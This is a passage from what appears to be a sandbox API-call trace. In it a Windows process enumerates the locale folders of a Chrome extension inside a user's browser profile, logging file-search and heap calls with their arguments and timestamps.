ftLastWriteTime.dwLowDateTime=0x834370a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.087] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834370a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834397b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4afe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0279.087] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x834370a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834397b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83982050, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x4afe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0 [0279.088] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.088] GetProcessHeap () returned 0x550000 [0279.088] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.088] FindNextFileW (in: hFindFile=0x639748, lpFindFileData=0x2ced6d0 | out: lpFindFileData=0x2ced6d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8343bec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83440ce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83440ce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en", cAlternateFileName="")) returned 1 [0279.088] GetProcessHeap () returned 0x550000 [0279.088] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0279.088] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\en\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8343bec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83440ce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83440ce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.103] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8343bec0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83440ce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83440ce0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0279.103] FindNextFileW (in: hFindFile=0x639a08, lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8343e5d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83440ce0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83984760, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x3d7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0279.103] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.103] GetProcessHeap () returned 0x550000 [0279.103] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.103] RtlAllocateHeap (HeapHandle=0x550000, Flags=0x0, Size=0x10000) returned 0x3742070 [0279.103] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\es\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8344a920, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8344d030, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8344d030, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.103] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.103] GetProcessHeap () returned 0x550000 [0279.103] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.103] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\et\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83451e50, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83454560, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83454560, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.107] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.107] GetProcessHeap () returned 0x550000 [0279.107] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.107] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fa\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83459380, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8345ba90, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8345ba90, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.107] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.107] GetProcessHeap () returned 0x550000 [0279.107] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.107] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834608b0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83462fc0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83462fc0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.162] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.162] GetProcessHeap () returned 0x550000 [0279.162] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.162] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fil\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83467de0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8346cc00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8346cc00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.163] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.163] GetProcessHeap () returned 0x550000 [0279.163] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.163] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\fr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83476840, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83478f50, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83478f50, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.191] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.191] GetProcessHeap () returned 0x550000 [0279.191] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.191] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\gu\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8347dd70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83480480, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83480480, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.191] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.192] GetProcessHeap () returned 0x550000 [0279.192] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.192] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hi\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834852a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834879b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834879b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.195] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.195] GetProcessHeap () returned 0x550000 [0279.196] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.196] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x8348c7d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8348eee0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x8348eee0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.196] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.196] GetProcessHeap () returned 0x550000 [0279.196] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.196] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\hu\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x83496410, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83498b20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x83498b20, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.220] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.220] GetProcessHeap () returned 0x550000 [0279.220] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.221] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\id\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a2760, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a4e70, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a4e70, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.221] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.221] GetProcessHeap () returned 0x550000 [0279.221] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.221] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\it\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834a7580, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834a7580, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834a7580, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.236] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.236] GetProcessHeap () returned 0x550000 [0279.236] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.236] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\iw\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834aeab0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834b11c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834b11c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.236] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.236] GetProcessHeap () returned 0x550000 [0279.236] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.236] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ja\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834b86f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834bae00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834bae00, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.250] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.251] GetProcessHeap () returned 0x550000 [0279.251] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.251] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\kn\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834c4a40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834c7150, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834c7150, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.251] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.251] GetProcessHeap () returned 0x550000 [0279.251] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.251] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ko\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834cbf70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ce680, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ce680, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.258] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.258] GetProcessHeap () returned 0x550000 [0279.258] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.258] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lt\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834d34a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834d5bb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834d5bb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.259] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.259] GetProcessHeap () returned 0x550000 [0279.259] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.259] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\lv\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834da9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834dd0e0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834dd0e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.281] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.281] GetProcessHeap () returned 0x550000 [0279.282] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.282] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ml\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834e9430, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ebb40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ebb40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.282] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.282] GetProcessHeap () returned 0x550000 [0279.282] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.282] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\mr\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834f0960, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834f3070, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834f3070, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.303] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.303] GetProcessHeap () returned 0x550000 [0279.303] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.303] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\ms\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x834fccb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x834ff3c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x834ff3c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.304] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.304] GetProcessHeap () returned 0x550000 [0279.304] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.304] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\nb\\*", lpFindFileData=0x2ced448 | out: lpFindFileData=0x2ced448*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x835041e0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x835068f0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x835068f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x639a08 [0279.338] FindClose (in: hFindFile=0x639a08 | out: hFindFile=0x639a08) returned 1 [0279.338] GetProcessHeap () returned 0x550000 [0279.338] HeapFree (in: hHeap=0x550000, dwFlags=0x0, lpMem=0x3742070 | out: hHeap=0x550000) returned 1 [0279.338] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User 